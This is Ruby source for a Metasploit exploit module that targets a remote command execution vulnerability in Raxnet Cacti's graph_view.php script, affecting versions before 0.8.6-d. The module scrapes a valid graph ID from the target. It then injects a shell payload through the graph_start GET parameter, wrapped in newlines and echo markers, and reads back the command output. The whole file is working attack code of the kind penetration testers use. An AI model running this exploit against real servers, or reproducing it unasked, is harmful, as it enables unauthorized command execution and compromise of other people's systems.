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## # $Id: cacti_graphimage_exec.rb 9671 2010-07-03 06:21:31Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Cacti graph_view.php Remote Command Execution', 'Description'=> %q{ This module exploits an arbitrary command execution vulnerability in the Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to 0.8.6-d are vulnerable. }, 'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 9671 $', 'References' => [ [ 'OSVDB', '17539' ], [ 'BID', '14042' ], ], 'Privileged' => false, 'Payload'=> { 'DisableNops' => true, 'Space' => 512, 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 15 2005', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]), ], self.class) end def exploit # Obtain a valid image ID res = send_request_cgi({ 'uri'=> datastore['URI'], 'vars_get' => { 'action' => 'list' } }, 10) if (not res) print_error("The server gave no response") return end m = res.body.match(/local_graph_id=(.*?)&/) if (not m) print_error("Could not locate a valid image ID") return end # Trigger the command execution bug res = send_request_cgi({ 'uri'=> datastore['URI'], 'vars_get' => { 'local_graph_id' => m[1], 'graph_start'=> "\necho YYY;#{payload.encoded};echo YYY;echo\n" } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") print("") m = res.body.match(/YYY(.*)YYY/) if (m) print_status("Command output from the server:") print(m[1]) else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end |
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